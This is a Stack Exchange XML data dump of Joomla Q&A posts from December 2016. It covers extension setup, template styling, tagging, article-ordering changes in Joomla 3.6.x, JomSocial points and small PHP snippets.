  <row Id="18576" PostTypeId="2" ParentId="18573" CreationDate="2016-12-07T13:01:15.087" Score="3" Body="&lt;p&gt;You can create a plugin for this event:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;onContentPrepare&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and code something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;setTitle( $article-&amp;gt;title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can give you a more elaborated code if you needed.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-12-07T13:01:15.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18577" PostTypeId="1" AcceptedAnswerId="18582" CreationDate="2016-12-07T13:34:23.470" Score="4" ViewCount="222" Body="&lt;p&gt;I'm trying to use &lt;a href=&quot;http://joomla-pro.org/jpro-final-countdown&quot; rel=&quot;noreferrer&quot;&gt;JPro Final Countdown&lt;/a&gt; extension in my Purity template. I use quickstart and modified it as I want. I already installed the extension and set up the configuration in &lt;code&gt;JPro Final Countdown&lt;/code&gt; module. I don't know what to do next to makes my countdown shown in front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already read &lt;a href=&quot;https://www.joomlart.com/documentation/purity-iii/compatible-third-party-extensions#supported-extension&quot; rel=&quot;noreferrer&quot;&gt;documentation about installing 3rd party&lt;/a&gt;. From what I understand is that if I want to use 3rd party extension besides the supported extension, I have to create &lt;code&gt;.less&lt;/code&gt; file in &lt;code&gt;templates/purity_iii/less/extras&lt;/code&gt;. The question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What would be inside the &lt;code&gt;.less&lt;/code&gt; file? or I just have to leave it empty?&lt;/li&gt;&#xA;&lt;li&gt;After I created the &lt;code&gt;.less&lt;/code&gt; file, how do I assign it to my style?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="9353" LastEditorUserId="9353" LastEditDate="2016-12-07T14:51:48.340" LastActivityDate="2016-12-08T11:17:56.530" Title="How to use 3rd party extention in Joomla JA Purity III?" Tags="|joomla-3.x|templates|extensions|t3-framework|purity-iii|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18578" PostTypeId="1" AcceptedAnswerId="18579" CreationDate="2016-12-07T14:09:11.560" Score="2" ViewCount="91" Body="&lt;p&gt;I want to update my joomla and usually there is an update notification when there is a newer version available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on 3.0.3 now so it's pretty old, but still no update message to be found anywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oTZeY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTZeY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D1jeC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1jeC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do about this?&lt;/p&gt;&#xA;" OwnerUserId="9399" LastActivityDate="2016-12-07T14:44:03.560" Title="No joomla update notification" Tags="|joomla-3.x|joomla-3.3.x|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18579" PostTypeId="2" ParentId="18578" CreationDate="2016-12-07T14:22:43.843" Score="2" Body="&lt;p&gt;go to the extensions -&gt; plugins and then find &quot;Quick Icon - Joomla! Update Notification&quot; and enable it.&lt;/p&gt;&#xA;" OwnerUserId="8448" LastEditorUserId="8448" LastEditDate="2016-12-07T14:44:03.560" LastActivityDate="2016-12-07T14:44:03.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18582" PostTypeId="2" ParentId="18577" CreationDate="2016-12-07T19:47:25.550" Score="3" Body="&lt;p&gt;Please do not confuse USING, CONFIGURING and STYLING 3rd party extension!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing (and certainly not a template) is preventing you to USE JPro Final Countdown module, if you have installed it correctly and assigned it to correct template position and menu item(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also CONFIGURE it as per varous available parameters in module's configuration back end in Joomla admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, STYLING it is another story, and that is what is documentation you mentioned reffering to. Changing module's visual appearance is what is Styling all about, and it is done by applying and adjusting certain CSS selectors. Using &lt;code&gt;.less&lt;/code&gt; files is just modern approach to good-old CSS styling, and if you are not pretty experienced in CSS, it might be more complicated and pretty frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You dont even have to follow JA documentation in order to change module's CSS selectors. Much easier is to, if you haven't already, create empty file &lt;code&gt;custom.css&lt;/code&gt; in folder &lt;code&gt;/templates/purity_iii/css/&lt;/code&gt;, then add to it any module-specific selector and adjust it to your liking.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, main question is how good are you with CSS, and that question is even more applicable for dealing with LESS.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;From your comment I now realize that you need help with most basic actions in using Joomla, such as configuring module to appear on specific page. While I could recommend some great Tutorials, best of which are &lt;a href=&quot;https://www.ostraining.com/classes/joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSTraining Joomla 3 Classes&lt;/a&gt;, I am sure you can find 'em with a little help of your Google. So, I will list some basic steps for configuring this countdown module you want to show on front page.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Extensions | Modules&lt;/code&gt;, find &lt;code&gt;JPro Final Countdown&lt;/code&gt; module, click on it to edit it.&lt;br&gt;&#xA;In &lt;code&gt;Module&lt;/code&gt; tab set Position to &lt;code&gt;masthead&lt;/code&gt; and Status to &lt;code&gt;Published&lt;/code&gt;. Configure other fields as per your liking (Show Title to Hide, Welcome Text, etc...)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jGgI3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jGgI3.jpg&quot; alt=&quot;Module config&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;In &lt;code&gt;Menu Assignement&lt;/code&gt; tab choose &lt;code&gt;Only on the pages selected&lt;/code&gt; as module assignement, then click on &lt;code&gt;Select:None&lt;/code&gt; to clear all checkboxes first, and finally check only &lt;code&gt;Features Intro 2&lt;/code&gt; menu item in &lt;code&gt;Main Menu|Layouts|New Layots&lt;/code&gt; menu, which is default menu item (Home item) in Purity III Quickstart.&lt;br&gt;&#xA;Of course, if you have re-assigned default menu item, then select that item accordingly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GZGK6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZGK6.jpg&quot; alt=&quot;Menu assignement&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Save and Close&lt;/code&gt; button, and on front end you will see your module at the top of the page, right below toolbar. Please note that the following screenshot was made by adding &lt;code&gt;?tp=1&lt;/code&gt; to show available module positions in template (after enabling that in &lt;code&gt;Extensions|Templates - Options buton&lt;/code&gt; ). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3f8Hv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3f8Hv.jpg&quot; alt=&quot;Frontend with tp=1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there are many other things which can be done for configuring and styling this module, but these are just basic steps to make it visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-12-08T11:17:56.530" LastActivityDate="2016-12-08T11:17:56.530" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18583" PostTypeId="1" AcceptedAnswerId="18584" CreationDate="2016-12-07T20:28:37.357" Score="3" ViewCount="72" Body="&lt;p&gt;I'm building a website for a research group, and I'm building a page for publications. The group has been around for about 10 years, and publishes papers on a wide variety of subjects, so I'd like to be able to tag the papers with the topic and year, and then be able to filter by tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about building this? Are there any extensions I should install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting money to purchase extensions is a nightmare, so free extensions only, please.&lt;/p&gt;&#xA;" OwnerUserId="9145" LastEditorUserId="120" LastEditDate="2016-12-07T21:48:45.667" LastActivityDate="2016-12-07T22:13:56.573" Title="How can I filter downloadable documents using tags?" Tags="|joomla-3.x|tags|download|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18584" PostTypeId="2" ParentId="18583" CreationDate="2016-12-07T22:05:46.813" Score="3" Body="&lt;p&gt;Joomla! 3 has native tagging features built in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the Joomla! documentation &lt;a href=&quot;https://docs.joomla.org/J3.x:How_To_Use_Content_Tags_in_Joomla!&quot; rel=&quot;nofollow noreferrer&quot;&gt;How To Use Content Tags in Joomla!&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to accomplish your goals is to create a seperate article (i.e. a web page) with a brief synopsis for each downloadable paper, then use Joomla!'s built-in tagging capabilities to tag the actual page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be that simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind also that Joomla! has '&lt;a href=&quot;https://docs.joomla.org/Smart_Search_Frequently_Asked_Questions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smart Search&lt;/a&gt;' capabilities - so if you use the method described above, you are giving site visitors a number of intuitive ways to search for the 'downloadable papers' that they are looking for - built right in to Joomla! 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Your question as posted does not take into account 'restricting access' to downloadable files.  As long as you are not restricting access to the downloadable files (i.e. as some membership based sites do), you do not need to worry about using a 3rd party extension.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;However&lt;/em&gt;&lt;/strong&gt;, keep in mind that if using the method described above (i.e. publish an article with synopsis for each document, provide a download link, tag article), then know that &lt;strong&gt;&lt;em&gt;anybody with a link to the downloadable file will be able to download it&lt;/em&gt;&lt;/strong&gt; (without even having to go through your web site!) - these documents will be, in essence publicly available for download with no meaningful protection against that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;If you want to restrict access to downloads&lt;/em&gt;&lt;/strong&gt;, you will need an extension and I would suggest that you search the &lt;a href=&quot;https://extensions.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Extension Directory&lt;/a&gt; (JED).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the JED, you could search using the following tag 'Paid Downloads' and get a list of both 'free' and 'paid' download extensions, along with details and reviews for each extension.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2016-12-07T22:13:56.573" LastActivityDate="2016-12-07T22:13:56.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18585" PostTypeId="2" ParentId="18572" CreationDate="2016-12-07T22:11:46.537" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/fieldsattach&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fieldsattach&lt;/a&gt; is one CCK that can add YouTube or Vimeo video fields to your content. The YouTube and Vimeo fields are &lt;a href=&quot;http://www.fieldsattach.com/index.php/add-ons/extra-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;free add-ons&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/dpfields&quot; rel=&quot;nofollow noreferrer&quot;&gt;DPFields&lt;/a&gt; which is scheduled to become the core CCK in Joomla 3.7 unfortunately &lt;a href=&quot;https://joomla.digital-peak.com/products/dpfields&quot; rel=&quot;nofollow noreferrer&quot;&gt;does not appear to support video fields yet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-12-07T22:11:46.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18586" PostTypeId="2" ParentId="18346" CreationDate="2016-12-08T06:06:33.287" Score="0" Body="&lt;p&gt;i rolled back joomla version from 3.6.3 to 3.3.3 and the problem solved !&lt;/p&gt;&#xA;" OwnerUserId="8448" LastActivityDate="2016-12-08T06:06:33.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18587" PostTypeId="2" ParentId="18164" CreationDate="2016-12-08T06:34:10.350" Score="4" Body="&lt;p&gt;We have developed a script that does that and that can be found &lt;a href=&quot;http://www.itoctopus.com/a-script-to-migrate-articles-meta-keywords-to-joomla-tags&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Essentially, we loop through articles and then we grab the keywords, add them as tags, and then tag the articles. We have mainly used the &lt;code&gt;JHelperTags&lt;/code&gt; class in order to do that. The script should run on any system - but please expect some performance issues on your website if you have thousands of tags (this is not caused by the script, but it is an issue in Joomla's tag functionality). Tags are heavy (in any CMS) and should be used with care.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-08T06:34:10.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18589" PostTypeId="1" CreationDate="2016-12-08T13:18:59.383" Score="4" ViewCount="118" Body="&lt;p&gt;Someone please help I seem to be gong around in circles with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a category blog and setting the order to article Order. In the backend I have set them up how I want them but the frontend shows a few of them out of order and I dont know how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a number of things, even creating a new menu and ordering it from scratch and it is still happening. The article order obviously works as I am able to move the article out of order in the backend to get the correct order in the frontend, as this is for a client I need a permananet fix for this, any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla! version 3.6.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="9401" LastEditorUserId="3650" LastEditDate="2016-12-08T16:52:24.387" LastActivityDate="2016-12-08T16:52:24.387" Title="Backend article order not same as frontend order" Tags="|joomla-3.x|articles|article-manager|category-blog|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18590" PostTypeId="2" ParentId="18589" CreationDate="2016-12-08T16:30:47.890" Score="2" Body="&lt;p&gt;I can't say for sure why is that happening, but I have a hunch... &#xA;I bet you any money that your site went through few Joomla updates, and that at some point in time was on J! lower than 3.6.3.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see, J!3.6.0 which was released on 2016-07-12, introduced  a change in New Article Ordering. Until then, since a dawn of time, every new article when created, used to be assigned ordering 0, and all previous article's orders were increased by one, thus putting new article at top, as a first one. Thousands of Joomla admins relied on that fact with their category blog menu sorting settings, and everything was nice and dandy. You could set menu sorting as &quot;By Order&quot; and it would at the same time act as &quot;Most Recent First&quot;, thus making admin's life much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then with &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/8576&quot; rel=&quot;nofollow noreferrer&quot;&gt;PR #8576 Performance gain - new featured article&lt;/a&gt; (which on Apr 15 found it's way to RTC for J! 3.5.2, and was renamed to J! 3.6.0) they rightfully claimed it is performance bottleneck for categories with hundreds of articles, and thus changed Ordering for New Articles to Last! It was a nice improvement strictly performance-wise, but at the same time it introduced Backwards Compatibilty Break for thousands of existing sites, whose webmasters were crying foul left and right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again with &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11581&quot; rel=&quot;nofollow noreferrer&quot;&gt;PR #11581 Revert &quot;Performance gain - new featured article&quot;&lt;/a&gt; and after heated discussion in &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/11103&quot; rel=&quot;nofollow noreferrer&quot;&gt;Issue #11103 New articles are created with last possible &quot;ordering&quot;&lt;/a&gt; , PLT accepted mistake and Backwards Compatibility Break and &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5676-joomla-3-6-3-released.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Released J! 3.6.3&lt;/a&gt;, which returned to good-old New Article First Ordering. Not to mention that update was sitting on shelf for more than a month with no apparent reason, additionaly causing some webmasters to go bezerk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you see what I'm suggesting? If you have created a bunch of articles while being on version before J!3.6.0 they went to the top. Then later if you created articles while being on J!3.6.0 until J!3.6.3, they went to the bottom. Then finaly after J!3.6.3 update they again went to the top.&lt;br&gt;&#xA;If that is not a Scenario for Great Conundrum, I don't know what is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if that is true reason for your problems, I am in loss for words how to fix it. Haven't got a slightest clue, to be honest. I for one would love to know how to fix it on my sites. :-(&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-12-08T16:40:11.850" LastActivityDate="2016-12-08T16:40:11.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18591" PostTypeId="2" ParentId="18565" CreationDate="2016-12-08T17:30:39.390" Score="1" Body="&lt;p&gt;Regular Labs (formerly NoNumber) has an Advanced Template Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/advancedtemplatemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/advancedtemplatemanager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can choose to assign user groups (free version) or user ids (pro only) to a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works really well. I highly recommend purchasing the lifetime pro package of Regular Labs, it complete's Joomla, in my opinion. Also, Peter is really good at helping people out with support, and he updates his components almost daily, so any bugs encountered are generally resolved immediately.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-12-08T17:30:39.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18592" PostTypeId="2" ParentId="18574" CreationDate="2016-12-09T07:26:41.933" Score="2" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://yendif.com/joomla/item/whatsapp-button-for-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whatsapp button for Joomla&lt;/a&gt; plugin in my joomla! extension and it seems quite promising! Just install this plugin in your Joomla account backend so that you can easly share your article through whatsapp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vz1xH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vz1xH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the help of shortcodes you can also insert it inside the articles wherever you want with options to customise the title and URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you!!!&lt;/p&gt;&#xA;" OwnerUserId="9037" LastActivityDate="2016-12-09T07:26:41.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18593" PostTypeId="2" ParentId="10686" CreationDate="2016-12-09T10:20:16.677" Score="3" Body="&lt;p&gt;I have figured out how to actually synchronize user login for all sub domains of joomla!. What Joomla does is it stores the session id of a user on a cookie that is: enter image description here&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mQXle.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mQXle.jpg&quot; alt=&quot;Session cookie&quot;&gt;&lt;/a&gt;&#xA;But the name of the cookie is a unique string and the value it has comes from the #__sessions table of your joomla, it is the session id of the user or guest, the name of the cookie changes for every Joomla installation. This means this name will be something else on your site. To get the name of the cookie you need to call the function getName() on the session object as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$sess=JFactory::getSession();&#xA;$sessName=$sess-&gt;getName();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have the name of the cookie, you need to set the session id of the user that was logged in on the other domain you can get it using ip and apply different filters for it and store it along with the user id. If you get same value set the session id for that user to the cookie. Now setting the value has already logged in the user, but the changes won't reflect until you refresh, so try using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$app = JFactory::getApplication();&lt;br&gt;&#xA;$app-&gt;redirect(JURI::current());&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just after you set the value, also remember to delete ip and all info just as the user logs out or other user wont be able to log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I get passed this issue, so thought it might help someone in future ,if you figure out a better way please share.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2016-12-09T10:20:16.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18594" PostTypeId="1" CreationDate="2016-12-09T23:26:04.317" Score="7" ViewCount="152" Body="&lt;p&gt;When I make a list of all tags, it breaks the list into chunks of 20 for pagination by default. I want the default to be &quot;all&quot;, ideally without the selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I make a list of all tags show &lt;em&gt;all of the tags&lt;/em&gt;, without any pagination?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9145" LastActivityDate="2016-12-12T20:54:54.610" Title="How can I get a List of All Tags to have no pagination by default?" Tags="|tags|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18596" PostTypeId="1" AcceptedAnswerId="18599" CreationDate="2016-12-10T16:07:54.883" Score="3" ViewCount="23" Body="&lt;p&gt;Images added to the feed are getting a height set inline which resizes the images. Any ideas where I might go in JomSocial configuration to turn this off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T67qB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T67qB.png&quot; alt=&quot;Images in feed are getting height set incorrectly.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-12-10T18:32:01.547" Title="JomSocial feed images getting height set inline. How do I turn this off?" Tags="|css|jomsocial|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18597" PostTypeId="1" CreationDate="2016-12-10T17:30:33.640" Score="1" ViewCount="23" Body="&lt;p&gt;Is there a way to pass a custom notification with HTML links in it when you call the method to add points?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H1BbT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H1BbT.jpg&quot; alt=&quot;screenshot of activity post in feed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-12-10T17:30:33.640" Title="Any idea how to customize points notifications in JomSocial and AlphaUserPoints?" Tags="|jomsocial|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18598" PostTypeId="2" ParentId="17303" CreationDate="2016-12-10T17:43:35.743" Score="1" Body="&lt;p&gt;Thanks to @oooooo's recomendation I used this code to build a method for adding points.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Calling the UserPoints API in Your Code If you want to give points to&#xA;  a user, you will need to call the API by inserting the codes where you&#xA;  want them.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;include_once&#xA;  JPATH_ROOT.'/components/com_community/libraries/core.php';&#xA;  include_once&#xA;  JPATH_ROOT.'/components/com_community/libraries/userpoints.php';&#xA;  CuserPoints::assignPoint('your.action.string');&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The your.action.string is the rule registered in database with how&#xA;  many points awarded to the current logged-in user. You will need to&#xA;  give a unique action string to your components such as&#xA;  'com_name.profile.upload.avatar'. In some situations, where you want&#xA;  to give points to another user instead of the current logged-in user,&#xA;  you can call the API's in the following manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once JPATH_ROOT.'/components/com_community/libraries/core.php';&#xA;include_once JPATH_ROOT.'/components/com_community/libraries/userpoints.php';&#xA;CuserPoints::assignPoint('your.action.string', 62);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;By giving the userId (62) as the second parameter, the API will give&#xA;  points to the specified user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's the method I used. Hope it helps someone.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once JPATH_ROOT.'/components/com_community/libraries/core.php';&#xA;include_once JPATH_ROOT.'/components/com_community/libraries/userpoints.php';&#xA;function addPoints($user_id, $action_string = null){&#xA;    if($function_name == null){ $action_string = DEFAULT_ACTION_STRING; }&#xA;         CuserPoints::assignPoint('your.action.string', $user_id);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-12-10T17:43:35.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18599" PostTypeId="2" ParentId="18596" CreationDate="2016-12-10T18:32:01.547" Score="0" Body="&lt;p&gt;OK, I know it's short answer, but OP in comment accepted it... So...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always override any inline set attributes by using !important declaration in your custom.css. Like &lt;code&gt;img {height: auto !important;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-12-10T18:32:01.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18600" PostTypeId="1" CreationDate="2016-12-10T22:00:28.107" Score="1" ViewCount="214" Body="&lt;p&gt;Hello Can anyone suggest me which extension should i use?  i want to create a Multi Restaurants food ordering website eg: &lt;a href=&quot;https://eatoye.pk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://eatoye.pk&lt;/a&gt; for Joomla!&lt;/p&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="27" LastEditDate="2016-12-10T22:47:51.617" LastActivityDate="2017-07-09T03:04:52.423" Title="Need Extension Suggestions for Multi-Restaurant Ordering Website" Tags="|component|plugin|extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18601" PostTypeId="2" ParentId="18600" CreationDate="2016-12-10T22:57:41.250" Score="1" Body="&lt;p&gt;Joomla and Wordpress aren't a good starting point for that type of site as they don't really contain any of the functionality you need out-of-the-box.  Extensions (if they exist) would basically be a CMS on top of a CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Google shows some restaurant CMSs do exist - I have no idea if this is any good, but &lt;a href=&quot;https://tastyigniter.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tastyigniter.com&lt;/a&gt; is the first one I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of the example you gave, I'd expect a site that size to use bespoke code.  To build a site of that size, you need to think about scalability and not be trapped by the limitations of third party code.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-12-10T22:57:41.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18602" PostTypeId="1" CreationDate="2016-12-10T23:02:05.290" Score="1" ViewCount="194" Body="&lt;p&gt;I need in an own system plugin some language values from a &lt;strong&gt;sys.ini&lt;/strong&gt; language file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could only found this way to load the normal .ini file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_yourcomponentname', JPATH_ADMINISTRATOR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2016-12-10T23:02:05.290" Title="How I can load a sys.ini language file" Tags="|joomla-3.x|language|system-plugin|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
